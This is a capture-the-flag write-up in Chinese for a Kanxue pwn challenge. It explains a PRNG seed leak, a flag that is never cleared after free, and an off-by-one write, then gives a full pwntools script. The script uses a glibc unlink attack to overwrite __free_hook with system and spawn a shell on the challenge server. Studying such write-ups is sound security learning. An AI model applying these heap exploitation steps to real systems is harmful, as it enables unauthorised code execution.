作者:Hcamael@知道创宇404实验室
发布时间:2017-11-03
前几天做了看雪ctf的一道pwn题,但是工作比较忙,一直没时间写wp,今天有空了,把wp补上
据说这题出题人出题失误,导致题目难度大大下降,预期是house_of_orange的,但是利用unlink就能做了
程序中有一个猜随机数的功能,代码大致逻辑如下:
*seed = &seed; srand(&seed); ...... v1 = rand(); puts("Please input the number you guess:"); printf("> "); if ( v1 == sub_AFA() ) result = printf("G00dj0b!You get a secret: %ld!\n", *&seed); else result = printf("Wr0ng answer!The number is %d!\n", v1); return result; .bss:0000000000202148 seed
使用seed变量的地址作为伪随机数生成器的种子, 因为这个程序开启了PIE保护,所以实际上每次程序运行,种子都是不一样的, 然后随机生成一个数让你猜,猜对了告诉你种子,猜错了告诉你这个随机数
如果我们能得到种子,因为ELF基地址和seed地址的偏移值是固定的,所以我们就能算出ELF的基地址了
然后去翻阅了下random的源码:https://code.woboq.org/userspace/glibc/stdlib/random.c.html
207 void __srandom (unsigned int x) 209 { 210 __libc_lock_lock (lock); 211 (void) __srandom_r (x, &unsafe_state); 212 __libc_lock_unlock (lock); 213 } 214 215 weak_alias (__srandom, srandom) 216 weak_alias (__srandom, srand)
发现,__srandom
的参数是无符号整型,长度只有32bit
虽然开了PIE,但ELF的基地址因为系统页对其的原因,最后12bit固定是0,所以,我们只需要爆破20bit,这是非常容易的,下面是部分payload代码:
def get_rand_num(): guess_num(123) r.readuntil("is ") random_num = int(r.readuntil("!")[:-1]) return random_num def get_elf_base(random_num): guess_num(random_num) r.readuntil("secret:") elf_base = int(r.readuntil("!")[:-1]) return elf_base-seed_address def guest(random_num): seed_base = 0x202148 libc = cdll.LoadLibrary("libc.so.6") for x in xrange(0x10000000, 0xfffff000, 0x1000): libc.srand(x+seed_base) if libc.rand() == random_num: next_randnum = libc.rand() break return next_randnum def main(): random_num = get_rand_num() next_randnum = guest(random_num) elf_base = get_elf_base(next_randnum) print "get ELF base address: 0x%x"%elf_base
因为python的random和c的是不一样的,所以这里使用ctypes去调用libc中的random
最关键的一个就是有一个bool标志位,默认值是0,表示该box没有malloc,当malloc后标志位会设置为1,但是当free后,却没有把标志位清零,这就导致可以无限free,一个被free的box,也可以修改和输出box的内容
另一个关键的漏洞是修改box内容的函数中存在off by one
for ( i = 0; dword_202090[v3] >= i; ++i ) { read(0, &buf, 1uLL); if ( buf == 10 ) break; *(i + qword_202100[v3]) = buf; }
如果长度有24的box,却可以输入25个字符
还有一个也算漏洞的是再show message函数中,输出使用了puts,输出是根据\x00
判断结尾,而不是长度,而在修改message的函数中也没有在用户输入的数据结尾加\x00
,所以有可能导致信息泄露,不过这个漏洞对我来说不重要,我的利用方法中,不包含其信息泄露的利用
泄露LIBC地址的思路很简单,上面说了当一个box被free后因为标志位没有被清零,所以任然可以往里面写数据,输出数据。
如果我们free一个非fast chunk的chunk,也就是说free一个chunk size大于maxfastsize的chunk,将会和unsortbin形成双链表,这个时候的结构如下:
这个时候fd和bk都指向arena中的top_chunk指针,我们能通过输出该box获取到该地址,然后根据偏移值计算出libc的基地址,部分代码如下:
def get_libc_base(): free_box(3) show_message(3) data = r.readuntil("You")[:-3].strip() top = u64(data+"\x00\x00") return top - top_chunk def main(): .... create_box(1, 24) create_box(2, 168) create_box(3, 184) create_box(4, 200) libc_base = get_libc_base() print "get libc base address: 0x%x"%libc_base
free的那个box不能是最后一个chunk,否则会和top chunk合并
网上很多unlink的文章,我就不细说了,简单的来说就是要过一个判断,执行一个指令
需要过一个判断:
P->fd->bk == P P->bk->fd == P
执行一个指令
FD = P->fd BK = P->bk FD->bk = BK BK->fd = FD
当利用之前的代码,泄露完libc地址后,堆布局是这样的:
0x555555757410: 0x0000000000000000 0x0000000000000021 <- box1 0x555555757420: 0x0000000000000000 0x0000000000000000 0x555555757430: 0x0000000000000000 0x00000000000000b1 <- box2 0x555555757440: 0x0000000000000000 0x0000000000000000 0x555555757450: 0x0000000000000000 0x0000000000000000 0x555555757460: 0x0000000000000000 0x0000000000000000 0x555555757470: 0x0000000000000000 0x0000000000000000 0x555555757480: 0x0000000000000000 0x0000000000000000 0x555555757490: 0x0000000000000000 0x0000000000000000 0x5555557574a0: 0x0000000000000000 0x0000000000000000 0x5555557574b0: 0x0000000000000000 0x0000000000000000 0x5555557574c0: 0x0000000000000000 0x0000000000000000 0x5555557574d0: 0x0000000000000000 0x0000000000000000 0x5555557574e0: 0x0000000000000000 0x00000000000000c1 <- box3 0x5555557574f0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757500: 0x0000000000000000 0x0000000000000000 0x555555757510: 0x0000000000000000 0x0000000000000000 0x555555757520: 0x0000000000000000 0x0000000000000000 0x555555757530: 0x0000000000000000 0x0000000000000000 0x555555757540: 0x0000000000000000 0x0000000000000000 0x555555757550: 0x0000000000000000 0x0000000000000000 0x555555757560: 0x0000000000000000 0x0000000000000000 0x555555757570: 0x0000000000000000 0x0000000000000000 0x555555757580: 0x0000000000000000 0x0000000000000000 0x555555757590: 0x0000000000000000 0x0000000000000000 0x5555557575a0: 0x00000000000000c0 0x00000000000000d0 <- box4 0x5555557575b0: 0x0000000000000000 0x0000000000000000 0x5555557575c0: 0x0000000000000000 0x0000000000000000
然后在.bss段有个地方储存着box的地址:
pwndbg> x/6gx 0x202100+0x555555554000 0x555555756100: 0x0000000000000000 0x0000555555757420 0x555555756110: 0x0000555555757440 0x5555557574f0 0x555555756120: 0x00005555557575b0 0x0000000000000000
因为在free box函数的代码中,有一个判断:
if ( !dword_202130[v1] || dword_2020B0[v1] ) return puts("You can not destroy the box!");
而dword_2020B0是已经初始化过,然后没有代码修改过的变量
.data:00000000002020B0 dword_2020B0 dd 2 dup(1), 2 dup(0), 2 dup(1)
扩展开了就是[1, 1, 0, 0, 1, 1]
所以只有2, 3两个box能被free
在之前已经free过了box3,如果再次free box3,无法触发unlink操作,unlink操作只有在前一个或者后一个chunk未被使用时才会触发,所以我们需要通过free box2来进行触发unlink操作
通过leave message函数来构造一个堆结构:
pwndbg> x/64gx 0x555555757410 0x555555757410: 0x0000000000000000 0x0000000000000021 0x555555757420: 0x0000000000000000 0x0000000000000000 0x555555757430: 0x0000000000000000 0x00000000000000c1 修改长度为0xc1 0x555555757440: 0x0000000000000000 0x0000000000000000 0x555555757450: 0x0000000000000000 0x0000000000000000 0x555555757460: 0x0000000000000000 0x0000000000000000 0x555555757470: 0x0000000000000000 0x0000000000000000 0x555555757480: 0x0000000000000000 0x0000000000000000 0x555555757490: 0x0000000000000000 0x0000000000000000 0x5555557574a0: 0x0000000000000000 0x0000000000000000 0x5555557574b0: 0x0000000000000000 0x0000000000000000 0x5555557574c0: 0x0000000000000000 0x0000000000000000 0x5555557574d0: 0x0000000000000000 0x0000000000000000 0x5555557574e0: 0x0000000000000000 0x00000000000000c1 0x5555557574f0: 0x00007ffff7dd1b78 0x00000000000000b1 构造成一个新的堆,长度为0xb1 0x555555757500: 0x0000555555756100 0x0000555555756108 构造fd和bk 0x555555757510: 0x0000000000000000 0x0000000000000000 0x555555757520: 0x0000000000000000 0x0000000000000000 0x555555757530: 0x0000000000000000 0x0000000000000000 0x555555757540: 0x0000000000000000 0x0000000000000000 0x555555757550: 0x0000000000000000 0x0000000000000000 0x555555757560: 0x0000000000000000 0x0000000000000000 0x555555757570: 0x0000000000000000 0x0000000000000000 0x555555757580: 0x0000000000000000 0x0000000000000000 0x555555757590: 0x0000000000000000 0x0000000000000000 0x5555557575a0: 0x00000000000000b0 0x00000000000000d0 修改prev_size为0xb0 0x5555557575b0: 0x0000000000000000 0x0000000000000000 0x5555557575c0: 0x0000000000000000 0x0000000000000000 0x5555557575d0: 0x0000000000000000 0x0000000000000000 0x5555557575e0: 0x0000000000000000 0x0000000000000000 0x5555557575f0: 0x0000000000000000 0x0000000000000000 0x555555757600: 0x0000000000000000 0x0000000000000000
构造了一个fd和bk指向存储box 地址的.bss段,这样就能构成一个双链表,bypass unlink的check:
P->fd->bk == P P->bk->fd == P
不过这个时候如果free box2,会报错退出,报错的内容是 free(): corrupted unsorted chunks
去源码中搜一下该error的check:
4248 bck = unsorted_chunks(av); 4249 fwd = bck->fd; 4250 if (__glibc_unlikely (fwd->bk != bck)) 4251 malloc_printerr ("free(): corrupted unsorted chunks")
bck指向unsortbin,所以fwd指向box3,然而box3的bk已经被构造成了新chunk的size位,所以报错退出了
这个时候只需要在free box2之前,malloc一个box5,这样将会把unsortbin中的box3分类到smallbin中,从而bypass unsortbin check
在free box2之后,内存大致如下:
pwndbg> x/6gx 0x202100+0x555555554000 0x555555756100: 0x0000000000000000 0x0000555555757420 0x555555756110: 0x0000555555757440 0x0000555555756100 0x555555756120: 0x00005555557575b0 0x0000555555757680
box3的地址已经指向该bss段,从而我们已经可以做到任意地址写了
我的利用思路是,把box 2修改为free_hook的地址,然后把box 0修改为/bin/sh\0
正好8byte,这样box 3就是一个/bin/sh
字符串了
我们只需要在free_hook中写上system的地址,调用free(box 3),则相当于调用system("/bin/sh\0"),从而达到getshell
完整payload如下:
from pwn import * from ctypes import cdll DEBUG = 1 if DEBUG: context.log_level = "debug" r = process("./club") e = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: r = remote("123.206.22.95", 8888) e = ELF("./libc.so.6") malloc_hook = e.symbols['__malloc_hook'] free_hook = e.symbols['__free_hook'] system_address = e.symbols['system'] top_chunk = malloc_hook + 0x68 seed_address = 0x202148 addr_list = 0x202100 one_gadget = 0xf0274 puts_got = 0x202028 def create_box(n, l): r.readuntil(">") r.sendline("1") r.readuntil(">") r.sendline(str(n)) r.readuntil(">") r.sendline(str(l)) def free_box(n): r.readuntil(">") r.sendline("2") r.readuntil(">") r.sendline(str(n)) def leave_message(n, msg): r.readuntil(">") r.sendline("3") r.readuntil(">") r.sendline(str(n)) r.sendline(msg) def show_message(n): r.readuntil(">") r.sendline("4") r.readuntil(">") r.sendline(str(n)) def guess_num(n): r.readuntil(">") r.sendline("5") r.readuntil(">") r.sendline(str(n)) def get_rand_num(): guess_num(123) r.readuntil("is ") random_num = int(r.readuntil("!")[:-1]) return random_num def guest(random_num): seed_base = 0x202148 libc = cdll.LoadLibrary("libc.so.6") for x in xrange(0x10000000, 0xfffff000, 0x1000): libc.srand(x+seed_base) if libc.rand() == random_num: next_randnum = libc.rand() break return next_randnum def get_elf_base(random_num): guess_num(random_num) r.readuntil("secret:") elf_base = int(r.readuntil("!")[:-1]) return elf_base-seed_address def get_libc_base(): free_box(3) show_message(3) data = r.readuntil("You")[:-3].strip() top = u64(data+"\x00\x00") return top - top_chunk def main(): random_num = get_rand_num() next_randnum = guest(random_num) elf_base = get_elf_base(next_randnum) print "get ELF base address: 0x%x"%elf_base create_box(1, 24) create_box(2, 168) create_box(3, 184) create_box(4, 200) libc_base = get_libc_base() create_box(5, 300) print "get libc base address: 0x%x"%libc_base set_list2_size = p64(0xc1)*3 + "\xc1" leave_message(1, set_list2_size) set_list3 = p64(0) + p64(0xb1) + p64(elf_base+addr_list) + p64(elf_base+addr_list+8) set_list3 += "a"*0x90+p64(0xb0) leave_message(3, set_list3) free_box(2) write_address_list = "/bin/sh\x00" + "a"*8 + p64(libc_base+free_hook) leave_message(3, write_address_list) leave_message(2, p64(libc_base+system_address)) free_box(3) # leave_message(3, "aaaaaaaa") # show_message(3) r.interactive() if __name__ == '__main__': main()
unlink原理很早我就知道了,但是却是第一次实践,理论和实际还是差很大的,所以我踩了挺多的坑,花了挺多的时间
我还考虑过fastbin的double free的利用,但是失败了......